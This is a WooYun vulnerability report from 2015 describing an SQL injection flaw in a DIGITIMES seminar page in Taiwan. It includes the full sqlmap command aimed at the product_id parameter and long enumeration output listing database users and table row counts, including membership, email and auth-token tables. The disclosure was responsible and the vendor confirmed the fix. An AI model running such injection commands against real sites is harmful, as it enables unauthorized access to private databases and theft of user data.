当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153343

漏洞标题:DIGITIMES某处存在SQL注射漏洞(1800万条系统日志泄露)(臺灣地區)

相关厂商:DIGITIMES

漏洞作者: 路人甲

提交时间:2015-11-10 16:14

修复时间:2016-01-05 18:57

公开时间:2016-01-05 18:57

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态: 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-10: 细节已通知厂商并且等待厂商处理中
2015-11-20: 厂商已经确认,细节仅向厂商公开
2015-11-30: 细节向核心白帽子及相关领域专家公开
2015-12-10: 细节向普通白帽子公开
2015-12-20: 细节向实习白帽子公开
2016-01-05: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

DIGITIMES公司简介:http://**.**.**.**/tw/dtbrief/brief.html
地址:http://**.**.**.**/tw/b2b/Seminar/shwnws_new.asp?CnlID=18&cat=99&product_id=051981022&id=0000158370_U802M6VE8SZQ7NLWSW0IY

python sqlmap.py -u "http://**.**.**.**/tw/b2b/Seminar/shwnws_new.asp?CnlID=18&cat=99&product_id=051981022&id=0000158370_U802M6VE8SZQ7NLWSW0IY" -pproduct_id --technique=E --random-agent --count


1. 2598298+10834541+5378314=18811153

Database: DNEW
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DNEW_SEARCHLOG | 5378314 |


Database: DTC0
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DTC0_CHK_LOG | 10834541 |


Database: WBAD
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| WBAD_KEYWORDLOG | 2598298 |

漏洞证明:

current user:    'DTC0'
current user is DBA: False
database management system users [40]:
[*] ANONYMOUS
[*] CTXSYS
[*] DBSNMP
[*] DCMS
[*] DENG
[*] DENGASP
[*] DENGFIN
[*] DFA0
[*] DFIN
[*] DIGI
[*] DMKT
[*] DNEW
[*] DOTCOM
[*] DOTEDITOR
[*] DOTVB
[*] DPRC
[*] DSAP
[*] DTC0
[*] DTE0AS
[*] DTLAB
[*] DTPS
[*] MDSYS
[*] NOTES
[*] ODM
[*] ODM_MTR
[*] OLAPSYS
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] PERFSTAT
[*] STEVE
[*] SYS
[*] SYSTEM
[*] TEST
[*] TOAD
[*] TPE
[*] WBAD
[*] WMSYS
[*] XDB
[*] ZWELL
Database: DTLAB
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DTLAB_LABPDPRICE | 10987 |
| DTLAB_LABPDSPECREF | 7830 |
| DTLAB_SURVEY_ANSWER | 3528 |
| DTLAB_LABPDSPEC | 1565 |
| DTLAB_LABPDPRICE2 | 1400 |
| DTLAB_LABPDREF | 288 |
| DTLAB_LABBRAND | 192 |
| DTLAB_SURVEY | 161 |
| DTLAB_ICCTUSERPROGRAM | 124 |
| DTLAB_LABPDNAME | 72 |
| DTLAB_LABDEALER | 28 |
+--------------------------------+---------+
Database: TOAD
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| TOAD_PLAN_TABLE | 13131 |
+--------------------------------+---------+
Database: WBAD
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| WBAD_KEYWORDLOG | 2598298 |
| WBAD_REAL_IMPRESSION | 584191 |
| WBADRECORD | 360462 |
| WBAD_BOOKING_EIMPRESSION | 99558 |
| WBAD_PUBLISH_EIMPRESSION | 76361 |
| WBAD_CLICKLOG | 74230 |
| WBAD_ORDER_EIMPRESSION | 65845 |
| WBAD_COUNTER | 62369 |
| WBAD_CAPACITY | 50252 |
| WBAD_MAIN_NEW | 11493 |
| WBAD_BOOKINGDETAIL | 7478 |
| WBAD_MAIN | 5430 |
| WBAD_BOOKINGMAIN | 3600 |
| WBAD_BOOKINGBASICDATA | 2806 |
| WBAD_IMPRESSION_PERCENTAGE | 930 |
| WBAD_POSITION_NEW | 593 |
| WBAD_POSITION | 361 |
| WBAD_CALENDAR | 190 |
| WBAD_LOCATION | 59 |
| WBAD_STYLE | 55 |
| WBAD_WEIGHT | 13 |
| WBAD_WEB_NEW | 12 |
| WBAD_ROTATE | 9 |
| WBAD_WEB | 9 |
| WBAD_BOOKING | 7 |
| WBAD_TARGET | 7 |
| WBADPROFILE | 7 |
| WBAD_TYPE | 4 |
+--------------------------------+---------+
Database: NOTES
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DT_JOBLOG | 41034 |
+--------------------------------+---------+
Database: DCMS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DCMSSNAPNEWSWEBCAT | 485701 |
| DCMS_REPORTER | 337602 |
| DCMS_OLDNEWSWEBCAT | 273919 |
| DCMSSNAPKEYWORD | 31918 |
| DTP1SNAPSUBDAY | 5600 |
| DTE0SNAPNEWSBASIC | 1597 |
| DTE0SNAPEMPVIEW | 1335 |
| DCMSSNAPWEBCAT2 | 243 |
+--------------------------------+---------+
Database: SYSTEM
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| HELP | 918 |
+--------------------------------+---------+
Database: DFIN
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DFIN_DATALOG | 583242 |
| DFIN_LOG | 301121 |
| DFIN_WEBISBS | 183782 |
| DFIN_SDATA | 160405 |
| DFIN_YDATA | 154779 |
| DFIN_FASDATA | 126531 |
| DFIN_WEBFAS | 39009 |
| DFIN_FCTDATA | 35518 |
| DFIN_PROCESSLOG | 34986 |
| DFIN_MONPROD | 31916 |
| DFIN_DBLOG | 25308 |
| DFIN_WEBISBSTEMP | 22811 |
| DFIN_WEBFCTDATA | 17400 |
| DFIN_MDATA | 6794 |
| DFIN_ESTDATA | 3405 |
| DFIN_WEBFCTTEMP | 2875 |
| DFIN_COMPWEB | 1419 |
| DFIN_COMP | 1307 |
| DFIN_COMPCAT | 465 |
| DFIN_FINCODEENG | 300 |
| DFIN_FCTPERIOD | 264 |
| DFIN_TRANCOLS | 122 |
| DFIN_CAT | 97 |
| DFIN_FINCODE | 51 |
| DFIN_WEBFASTEMP | 20 |
| DFIN_TRANUSER | 8 |
| DFIN_ESTPERIOD | 6 |
+--------------------------------+---------+
Database: SYS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| STMT_AUDIT_OPTION_MAP | 167 |
| SYSTEM_PRIVILEGE_MAP | 157 |
| AUDIT_ACTIONS | 144 |
| TABLE_PRIVILEGE_MAP | 23 |
| "DUAL" | 1 |
| AW$AWCREATE | 1 |
| AW$AWMD | 1 |
| AW$EXPRESS | 1 |
+--------------------------------+---------+
Database: MDSYS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| CS_SRS | 1005 |
| SDO_DATUMS | 118 |
| SDO_ELLIPSOIDS | 47 |
| SDO_PROJECTIONS | 42 |
| SDO_DIST_UNITS | 27 |
| SDO_AREA_UNITS | 24 |
| SDO_ANGLE_UNITS | 6 |
+--------------------------------+---------+
Database: DTC0
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DTC0_CHK_LOG | 10834541 |
| DTC0ERROR | 5743643 |
| DTC0_EPAPEROPEN | 3432876 |
| DTC0_TRANSACTION | 2508700 |
| DTC0_ANSWER | 991173 |
| DTC0_ONLINE | 973769 |
| DTC0SNAPEMAIL | 347610 |
| DTC0ONLINOLD | 337143 |
| DTC0SNAPEMAILCAT | 326635 |
| DTC0SNAPATTEND | 309508 |
| DTC0_INDEXNEWS | 212786 |
| DTC0SNAPRPTEMAIL | 176030 |
| DTC0LOG | 156526 |
| DTC0APPROVAL | 152057 |
| DTC0_FUTURE | 148326 |
| DTC0_NEWSREAD | 133054 |
| DTC0_AUTHTOKEN | 116284 |
| DTC0_MEMLOG | 93282 |
| DTC0SNAPAUTHORIZE | 66038 |
| DTC0SNAPMEMRIGHT | 65671 |
| DTC0_WATCH_KEYWORD | 52096 |
| DTC0_NEWSDATA | 51225 |
| DTA0SNAPCOMPANY | 48510 |
| DTC0_TRAIL | 43621 |
| DTC0_APPROVE_20121009 | 37140 |
| DTC0MEMLOG0216 | 36483 |
| DTC0SNAPDETAILFEE | 35867 |
| DTC0_DRAM | 35020 |
| DTC0_BANKRATE | 33984 |
| DTC0NEWSREAD20090522 | 31488 |
| DTC0_WATCH_TITLE | 30618 |
| DTC0_FORGETPWD_VERIFY | 28800 |
| DTC0SNAPMEMBERIP | 27923 |
| DTC0WATCHKEYWORD_20111214 | 27531 |
| DTC0_GLOBALREMITMONEY | 23964 |
| DTC0NEWSREAD_XCA39045_20150909 | 23414 |
| DTC0_PROFILE_TEMP | 23334 |
| DTC0_EXCHANGE | 22785 |
| DTC0SNAPBASICDETAIL | 22627 |
| DTC0_RATE | 22425 |
| DTC0_GLOBALSTOCK | 20803 |
| DTC0SNAPBASICDATA | 20642 |
| DTC0_RANKSTOCKS | 19690 |
| DTC0_PSTOCKS | 17596 |
| DTC0WATCHTITLE_20111214 | 16651 |
| DTC0_ANSWER_2D | 16197 |
| DTC0SNAPRPTDATA | 16046 |
| DTC0NEWSREAD_PHILIPWEN | 15690 |
| DTC0NEWSREAD_JERRYCHEN | 15342 |
| DTC0_USDEX | 13672 |
| DTC0_ACTIVITY_MEMLIST | 12323 |
| DTC0_OTHERRECORD | 11601 |
| DTC0_CNYESEX | 9821 |
| DTC0_QTANSWER | 9172 |
| DTC0_PROMOTIONIP | 8801 |
| DTC0_GLOBALCURRENCY | 8676 |
| DTC0NEWSREAD_CHRIS | 8241 |
| DTP1SNAPEMAIL | 7963 |
| EVENT_20140804_TEMP | 7796 |
| DTC0_PPT_SNO | 6965 |
| DTC0_STOCKS | 6775 |
| DTC0_EXCHANGEBS | 5882 |
| DTC0SNAPKNOWLEDGESERVICEDETAIL | 5865 |
| DTC0NEWSREAD_ROBERT | 5554 |
| DCRMNEWSREAD_XCA35003 | 5442 |
| DTC0SNAPSPEAKER | 5108 |
| DTC0CONTACTLOG | 5083 |
| DTA0ROAD110102 | 4809 |
| DCRMSNAPCOMPPROFILE | 3955 |
| DTC0_ATTEND_MICRO | 3651 |
| DTC0WATCHTITLE090930 | 3580 |
| DTC0_FLIGHTSCHEDULE | 3417 |
| DTC0_USER_SUGGEST | 2730 |
| DTC0NEWSREAD_CHRIS_1 | 2447 |
| DTC0_QTQLIST_2D | 2416 |
| DTC0COMPDATATEMP | 2165 |
| DTC0_BOND | 2155 |
| DTC0SNAPSEMINARNEWS | 1813 |
| DTC0SNAPACTIVITY | 1500 |
| DTC0LOGINCHECKTMP20110418 | 1485 |
| DTC0_BANKRANGERATE | 1438 |
| DTC0UPDATELOG | 1379 |
| DTC0DATATEMP3 | 1354 |
| DTC0DATATEMP2 | 1335 |
| DTC0_ROAMING_VERIFY | 1322 |
| DTC0_FLASH | 1276 |
| DTC0COMPDATATEMP1 | 1240 |
| DTC0_APP_PROMOTE_20151109 | 1184 |
| DTC0COMPDATATEMP4 | 1144 |
| DTA0VILLAGE | 942 |
| DTC0_GOOGLELOG | 927 |
| DTC0_III_DOWNLOAD | 890 |
| DTC0_ANSWER_TEMP | 792 |
| DTC0SNAPACTTYPE | 706 |
| DTC0_QTQLIST | 686 |
| DTC0_QUESTION_BANK_ANS | 639 |
| DTC0_NEWSDATAREADMARK | 627 |
| DCRMSNAPMISC | 620 |
| DTC0COMPDATATEMP2 | 584 |
| DTC0COMPDATATEMP3 | 584 |
| DTC0_HOTNEWSIND | 570 |
| DTP1_CIO070524 | 532 |
| DTP1_CIO | 527 |
| DTP1CIO070531 | 527 |
| DTC0SNAPKNOWLEDGESERVICE | 526 |
| DTC0_MSSP_MEMLIST | 466 |
| DTC0_HOTNEWS | 465 |
| DTC0WATCHKEYWORD_BACKUP | 414 |
| DTC0WATCHTITLE_BACKUP | 399 |
| DTA0CITY101228 | 368 |
| DTA0CITYTEMP | 368 |
| DTC0WATCHKEYWORDTEMP | 339 |
| DTC0WATCHTITLETEMP | 327 |
| DTC0_QTTLIST | 304 |
| DTC0DATATEMP5 | 291 |
| DTC0SNAPTESTBED | 273 |
| DTC0DATATEMP4 | 268 |
| DTC0_MEM_SURVEY | 260 |
| DTC0_APP_PROMOTE_20151102 | 243 |
| DTC0_MARKETRATE | 234 |
| DTC0_NEWYEAR_EMAIL | 233 |
| DTC0_DESIGN_EXHI_SPEC_SUB | 216 |
| DTC0CHK | 189 |
| DTC0DATATEMP1 | 170 |
| DTC0SNAPRPTEXCEPTION | 169 |
| DTC0_TMPTITLE | 167 |
| TESTING_MEMBER_ALL | 167 |
| DTC0_IPLOCK | 161 |
| DTC0_QTKLIST | 146 |
| DTC0_OTHESMEMAIL | 138 |
| DTC0WATCHEMAIL090208 | 119 |
| DTC0_SPEC_ANSWER | 111 |
| DTC0_ANSWER2_TEMP | 110 |
| DTC0_DESIGN_EXHI_SPEC | 97 |
| DTC0_INVESTIGATE | 90 |
| DTC0_UNINDEX | 88 |
| DTC0_APP_PROMOTE_20151008 | 85 |
| DTC0_NEWSCLASS | 71 |
| DTC0_III_DOCUMENT | 69 |
| DTC0_ROCKWELL_AGENDA | 69 |
| DTC0NEWSREADTEMP | 64 |
| DTC0_EXCHANGE_TEMP | 63 |
| DTC0_QTLIST | 55 |
| DTC0_TRANSCODE | 49 |
| DTC0_2013XMAS_WISHES | 48 |
| DTC0_TITLEMISC | 47 |
| DTC0_OTHERQUEST1 | 46 |
| DTC0PROMO | 43 |
| DTC0_TESTING_GROUP | 30 |
| DTC0_DESIGN_EXHI_ORDER | 29 |
| DTC0_OTHERQUEST | 28 |
| DTC0_FORUM | 27 |
| DTC0_OTHESPREAD | 27 |
| DTC0_AUTHCUST | 25 |
| DTC0_FOLLOW_LIST | 24 |
| DTC0_SSAD_KEYWORD | 24 |
| DTC0_ANSWER2 | 23 |
| DTC0_BANK | 23 |
| DTC0_BANK_20121130 | 23 |
| DTC0_SSAD_TITLE | 23 |
| TESTING_MEMBER | 23 |
| DTC0EMAILOPEN | 21 |
| DTC0SNAPPACKAGE | 19 |
| DTC0LOG100127 | 16 |
| DTC0_TEMPNEWSDATA | 12 |
| SQLN_EXPLAIN_PLAN | 12 |
| DTC0ADMIN | 11 |
| PLAN_TABLE | 11 |
| DTC0_MESSAGE | 10 |
| DTC0SNAPACTIVITYCAT | 8 |
| DTC0_BG2EXT | 6 |
| DTC0_WATCH_KEYWORD_DELETED | 6 |
| DTC0_QUESTION_BANK | 5 |
| LOTUS_PROMOTE_TEMP | 5 |
| DTC0_WATCH_TITLE_DELETED | 4 |
| DTC0WATCHTITLE080711 | 4 |
| DTC0_DESIGN_EXHI | 3 |
| DTC0SNAPCOMPKEYWORD | 3 |
| DTC0CHKMULTI | 1 |
| DTP1SNAPEMAILDEL | 1 |
+--------------------------------+---------+
Database: DFA0
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DTP1 | 38222 |
| AFORM | 4424 |
| BOOKMARK | 433 |
| BMCLASS | 42 |
| DFA0_ACTUSER | 31 |
| LEC_MSG | 29 |
| LEC_QA | 15 |
| BASIC | 12 |
| CUSTOMER | 12 |
| FACTORY | 12 |
| PROSPERITY | 12 |
| RECOMMEND | 12 |
| DFA0USER | 4 |
| DFA0FINA | 3 |
| DFA0KEYW | 3 |
| DFA0_ACTBASE | 1 |
+--------------------------------+---------+
Database: TEST
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DENG_REGISTRATION | 33018 |
+--------------------------------+---------+
Database: DNEW
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DNEW_SEARCHLOG | 5378314 |
| DNEW_RPTCOUNTER | 2917368 |
| DNEW_SEARCH | 1270098 |
| DNEW_HITS | 936214 |
| DNEW_NEWSPUBLISH | 555005 |
| DNEW_CONTENT | 554706 |
| DNEW_NEWSCATEGORY1 | 340831 |
| DNEW_EMAILHITS | 304236 |
| DNEW_IMAGE | 301956 |
| DNEW_NEWSKEYLOG | 188372 |
| EPAPER_LIST | 100345 |
| SURVEY_ANSWER | 87466 |
| EPAPER_LIST_LOG | 54311 |
| DNEW_PACKAGELIST | 52749 |
| DNEW_EVENT_HITS | 52482 |
| DNEW_NEWSCOMP | 48086 |
| DNEW_RPTIMAGE | 46844 |
| QUO_VALUE | 36960 |
| DNEW_TRANSLATE | 35158 |
| DNEW_PACKAGECAT | 29707 |
| EPAPER_ART | 23677 |
| DNEW_EXT4NEWS | 23414 |
| DNEW_WORDCOUNT | 17251 |
| TSE_MSG_LIST | 15531 |
| DNEW_EPAPER_ARTICLE | 12791 |
| SURVEY_ANSWERROLE | 12303 |
| DNEW_SEARCH_HOTKEYWORD | 9336 |
| SURVEY_T2R | 7996 |
| EPAPER_PHASE | 7511 |
| DNEW_PACKAGE | 7192 |
| DNEW_RPTCATEGORY | 6114 |
| DNEW_AFORM | 6000 |
| STOCK_DIFF | 5604 |
| DNEW_RPTLOG | 5292 |
| DNEW_RPTSUBJECTTEST | 5053 |
| PAT_DRAFT | 4489 |
| PAT_NEWS | 4485 |
| DTOM_ITNEWSROLL | 4334 |
| PAT_COUNTER | 4288 |
| DNEW_DISCUSSLOG | 4218 |
| DNEW_ICTIMAGE | 4208 |
| PAT_MEMBER | 3562 |
| DNEW_DISCUSS | 3488 |
| DNEW_PRIZE_JOINER | 3270 |
| PAT_EML_ARTICLE | 2791 |
| DNEWABSTRACTNEW | 2386 |
| EPAPER_MAIN | 1939 |
| SQLN_EXPLAIN_PLAN | 1924 |
| SURVEY_QUESTION | 1919 |
| DNEW_TOPNEWS | 1908 |
| DNEW_EPAPERRANDOM | 1702 |
| DNEW_CEODATA | 1428 |
| DNEW_REPORTER | 1409 |
| PAT_RELATENEWS | 1408 |
| DNEW_ICTCONTENT | 1339 |
| DNEW_PROJECT | 1323 |
| DNEW_KWDLIST | 1224 |
| DNEW_DISMNGLOG | 1216 |
| PAT_EML_SEND | 1174 |
| DNEW_COMP_KEYWORD | 1164 |
| DNEW_ARTAFORM | 1157 |
| DNEW_ITEML_ARTICLE | 986 |
| DNEW_FILE | 972 |
| DNEW_RPTCONTENT | 936 |
| PAT_WORDSUM | 878 |
| DNEW_ICTSUBJECT | 873 |
| DNEW_EXT4UNIT | 851 |
| DNEW_RESOURCE | 752 |
| DNEW_PAGES | 703 |
| QUO_STORE | 641 |
| SURVEY_Q2R_X | 588 |
| DNEW_EXT4PUSH | 585 |
| DNEW_PERFORM | 569 |
| DNEW_RPTSUBJECT | 559 |
| DNEW_CEONEWS | 529 |
| WEB_SUM | 529 |
| DNEW_MISC | 524 |
| DNEW_EXT4RACT | 427 |
| DNEW_EXT4CNT | 409 |
| PAT_EML_MAIN | 406 |
| PROJ_DIFF | 396 |
| PAT_EML_STATIC | 386 |
| DNEW_EPAPER_MAIN | 371 |
| PAT_PRODFLASH | 315 |
| DNEW_NEWSMAP | 308 |
| DNEW_EPAPER_STATIC | 305 |
| DNEW_COMPANY | 297 |
| SURVEY_TOPIC | 292 |
| PAT_EML_MSG | 276 |
| DNEW_CEOBASE | 239 |
| DNEW_ITSUBJECT | 230 |
| PAT_RELATE | 229 |
| PAT_EXTRACT | 219 |
| DNEW_DBLOG | 197 |
| DNEW_PRODUCE | 188 |
| DNEW_PRIZE_DETAIL | 179 |
| SURVEY_QATYPE | 174 |
| DNEW_CHOICE | 166 |
| PAT_USERFAQ | 118 |
| DNEW_OBSERVE | 116 |
| PAT_USER | 115 |
| DNEW_ITEML_EXT | 110 |
| DNEW_LECMSG | 101 |
| PAT_DISCUSS2 | 85 |
| DNEW_RPTPACKAGECAT | 73 |
| DNEW_ITEML_MAIN | 58 |
| DNEW_PACKAGERELATE | 57 |
| SURVEY_ROLE | 55 |
| PAT_CLASS2 | 54 |
| DNEW_CATEGORY | 53 |
| WEB_TRENDS | 52 |
| DNEW_ITEML_STATIC | 50 |
| DNEW_SEMINAREPAPERD | 43 |
| DNEW_DBSUMMARY | 39 |
| DNEW_MEMRIGHTS | 26 |
| DNEW_PROJISSUE | 25 |
| PAT_MISC | 25 |
| DNEW_HEXT4RACT | 23 |
| DNEW_EXT4GROUP | 22 |
| DNEW_EPAPER_MSG | 20 |
| DNEW_MEMFN | 19 |
| DNEW_MEMROLE | 19 |
| PLAN_TABLE | 17 |
| PAT_EXTGROUP | 15 |
| DNEW_PRIZE_DATA | 14 |
| WEB_SITE | 14 |
| DNEW_PACKAGENEWSTYPE | 12 |
| DNEW_SEMINAREPAPER | 9 |
| PAT_DISCUSS1 | 9 |
| DNEW_PACKAGEFILE | 8 |
| PAT_CLASS1 | 8 |
| QUO_CLASS | 7 |
| DNEW_PATSURVEY | 6 |
| QUO_USER | 6 |
| DNEW_PUBDATE | 5 |
| DNEW_APPLYJOB | 4 |
| DNEW_APPLYRESUME | 4 |
| PAT_CHANNEWS | 4 |
| SURVEY_LAYOUT | 4 |
| DNEW_DISMANAGER | 3 |
| DNEW_ITEML_MSG | 3 |
| DNEW_PUBDATETEMP | 3 |
| DNEW_REGISTER | 3 |
| DNEW_VOTE | 2 |
| PAT_IMAGE | 2 |
+--------------------------------+---------+
Database: DTPS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DTPS_DNSSET | 778071 |
| DTPS_BG2_OLD | 481400 |
| DTPS_BG2 | 156655 |
| DTPS_FOLDER | 96735 |
| DTPS_EMAIL_FOR_AMAZON_0619 | 20366 |
| DTPS_BG2_PERSONALID | 8098 |
| DTPS_EVENT_EMAILLIST | 5317 |
| TMP_N4 | 3193 |
| DTPS_TRIALMEMLIST | 2344 |
| DTPS_TEMPPROMOCUST | 2107 |
| DTPS_PRIZE2014 | 1795 |
| DTPS_BG2OLD | 1186 |
| TMP_N3 | 1170 |
| DTPS_TRIALMEMLIST_20140116 | 828 |
| DTPS_BG | 826 |
| DTPS_RECOMMEND | 550 |
| TMP_L13 | 410 |
| DTPS_HITS | 347 |
| DTPS_TITLE2 | 327 |
| TMP_N2 | 277 |
| DTPS_DUTY | 187 |
| TMP_L12 | 184 |
| TMP_L3 | 93 |
| DTPS_FOLDERFN | 90 |
| TMP_L4 | 64 |
| TMP_L1 | 44 |
| DTPS_INDUSTRY | 32 |
| TMP_L2 | 18 |
| DTPS_DNSFN | 17 |
| DTPS_INTEREST | 16 |
| DTPS_TITLE | 16 |
| DTPS_PROFESSIONAL | 12 |
| DTPS_CAREER | 11 |
| DTPS_ACTIVITYCAT | 6 |
| DTPS_EXHIBITION_HOTNEWS | 5 |
| DTPS_EXHIBITION_HOTPRINT | 5 |
+--------------------------------+---------+
Database: DENG
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DENG_FBSHEET | 4032166 |
| DENG_FISTATE | 2363018 |
| DENG_FCOSTOCK | 2162487 |
| ADVIEW | 1896560 |
| SEARCHLOG | 1491511 |
| STORYSEARCH | 691885 |
| DENG_FQISTATE | 602606 |
| DENG_FRTSTOCK | 579295 |
| RELTAGS | 504800 |
| DENG_RELSTORIES | 344958 |
| LOGINLOGS | 296495 |
| DENG_FCOMONTHLIES | 273148 |
| DENG_COCAT | 190018 |
| DENG_FCOMONTH | 160045 |
| MAJORTAGS | 156610 |
| LINKTOOTHERSTAGS | 126570 |
| SNAPSHOTTAGS | 113300 |
| DENG_NEWS2TRANS | 102282 |
| DENG_REGISTRATION | 98117 |
| DENG_NEWSTRANSLATOR | 84659 |
| NEWSARCHIVE | 76554 |
| DENG_COUNTER | 73954 |
| DENG_CONTENTHUMAN | 73891 |
| DENG_FQSALES | 71418 |
| DENG_LINKTOCOUNTER | 69686 |
| DENG_NEWSCAT | 66647 |
| DENG_REGTEL | 66139 |
| BRNEWS | 63697 |
| DENG_LINKTOOTHERS | 49991 |
| PHOTOTAGS | 40799 |
| DENG_NEWSCATEGORY | 34059 |
| PDFREPORT | 32151 |
| DENG_REGCOMP | 26500 |
| DENG_FCOMONTHCON | 24982 |
| TEMPMEMBERLOG | 24949 |
| COMMENTS | 23075 |
| NEWSBRIEFCAT | 22299 |
| CONTENTFILES | 20743 |
| DENG_CORATE | 16361 |
| NEWSSNAPSHOT | 15889 |
| DENG_EMAILNEWS | 15571 |
| DENG_FCOALIASES | 15463 |
| DENG_INVOICE | 13479 |
| PDFPPTREPORT | 13471 |
| SNAPSHOTVOTE | 12736 |
| TEMPSESSIONLOG | 12564 |
| NEWSBRIEF | 11899 |
| PHOTOCAT | 11433 |
| RELNEWSLINKS | 10715 |
| TAGS | 8315 |
| RELFINTBL | 7944 |
| PHOTOREL | 7844 |
| DENG_FLATEST | 7122 |
| DENG_REGADD | 5505 |
| PHOTOS | 5458 |
| PHOTOCOMP | 5320 |
| LOOKUPCOMP | 5278 |
| PHOTOCOUNTER | 4659 |
| WEBSTATUS | 4497 |
| DENG_SPONSORNEWS | 3789 |
| SEARCHCOMPALIASES | 3707 |
| LOOKUPTERM | 3363 |
| REPORTACCESS | 2391 |
| EMAILSTATUS | 2335 |
| DENG_FCOTAGS | 2272 |
| DENG_NEWSSITES | 2070 |
| DENG_THGCONTENT | 1998 |
| RELTOPIC | 1742 |
| DENG_FRTINDEX | 1553 |
| DENG_FCOMAIN | 1355 |
| LOOKUPPEOPLE | 1337 |
| DENG_EMLMAIL | 1298 |
| REPLACEDTAGS | 1253 |
| SEARCHCOMP | 1247 |
| OPTOUTLIST | 1238 |
| DENG_COOKIES | 1137 |
| PDFOVERVIEWS | 1079 |
| DENG_COCHINESENOTES | 1034 |
| SITENOTE | 1023 |
| DENG_COLONG | 928 |
| PHOTOCOMPNAME | 927 |
| TOPICTAGS | 927 |
| SNAPSHOTSTATUS | 873 |
| DENG_FCOCATEGORIES | 851 |
| DENG_FXRATES_M | 846 |
| SREPORTACCESS | 832 |
| REQUESTFILES | 809 |
| PDFSREPORT | 808 |
| LINKTOOTHERSTOPIC | 647 |
| WEATHER | 645 |
| CALENDAR | 596 |
| PHOTOTOPIC | 502 |
| DENG_STREETNAMES | 490 |
| SPONSOREDNOTESTAGS | 482 |
| PHOTORELNEWSLINKS | 453 |
| DENG_EMLKEYWORD | 379 |
| CONTENTTOPIC | 295 |
| REPORTS | 287 |
| DENG_FXRATES | 275 |
| CALENDARTAGS | 246 |
| DENG_REGCOUNTRY | 239 |
| CALENDARCAT | 229 |
| DENG_COO2T | 214 |
| WEBCALENDAR | 163 |
| DENG_TOWNNAMES | 152 |
| PDFSTAMP | 151 |
| SURVEYANSWERS | 149 |
| PPTREPORTS | 108 |
| SPONSOREDNOTES | 95 |
| SPONSOREDNOTESCOUNTER | 90 |
| WHITEPAPERSTAGS | 86 |
| DENG_SNREMAIL | 75 |
| SREPORTS | 70 |
| WHITEPAPERSLOG | 69 |
| DENG_FACILITY | 63 |
| DENG_SUBCATEGORY | 62 |
| DENG_SNRKEYWORD | 61 |
| DENG_TRANSLATOR | 60 |
| DENG_PEOPLE | 57 |
| ADMAP | 54 |
| NEWSSLIDESHOW | 54 |
| DENG_PHONES | 53 |
| DENG_FCATEGORIES | 52 |
| OVERVIEWS | 52 |
| REGSTATE | 51 |
| DENG_POSITION | 48 |
| DENG_WEB | 48 |
| SREPORT_CHWEEKLYSTATUS | 48 |
| DENG_CATEGORYTREE | 36 |
| ADFREE | 35 |
| ADPROMOTIONCONTACT | 35 |
| DENG_COMAP | 28 |
| WHITEPAPERSCATEGORY | 24 |
| EDMSTATUS | 23 |
| PHOTOCATNAME | 23 |
| SURVEY | 23 |
| DENG_EMAIL | 20 |
| LOOKUPTM | 20 |
| REGINDUSTRIES | 19 |
| WHITEPAPERS | 18 |
| DENG_SPONSOR | 17 |
| DENG_EMAILNUM | 15 |
| REGJOBS | 15 |
| WHITEPAPERSCOUNTER | 15 |
| DENG_EMAILS | 14 |
| DENG_MAILNUM | 14 |
| DLRULES | 14 |
| REGPRODUCT | 14 |
| ADMAPTAGS | 12 |
| DENG_EMLPRODUCT | 10 |
| REGPRODUCTNAME | 10 |
| SITECHANNEL | 10 |
| REPORTSHIPDATAMAP | 9 |
| SURVEYINFO | 9 |
| DENG_MAINCATEGORY | 7 |
| SLIDESHOWBODY | 7 |
| CHANNELSEARCH | 6 |
| WHITEPAPERSCATEGORYNAME | 5 |
| REGPOSITIONS | 4 |
| CONTENTLOG | 3 |
| DENG_COCHN | 2 |
| DENG_RATING | 2 |
| DENG_ANSWERSCOUNT | 1 |
| DENG_EMLINQUIRY | 1 |
| DENG_QUESTIONS | 1 |
+--------------------------------+---------+
Database: WMSYS
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| WM$WORKSPACES_TABLE | 1 |
+--------------------------------+---------+
Database: DIGI
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| DIGI_OFFICEITGIVE | 6425 |
| DTA0_AREA | 368 |
| DIGI_PRODTEST | 196 |
| DIGI_PRESS_FILE | 121 |
+--------------------------------+---------+

修复方案:

增加过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-11-20 05:48

厂商回复:

感謝通報

最新状态:

2016-01-05:確認修復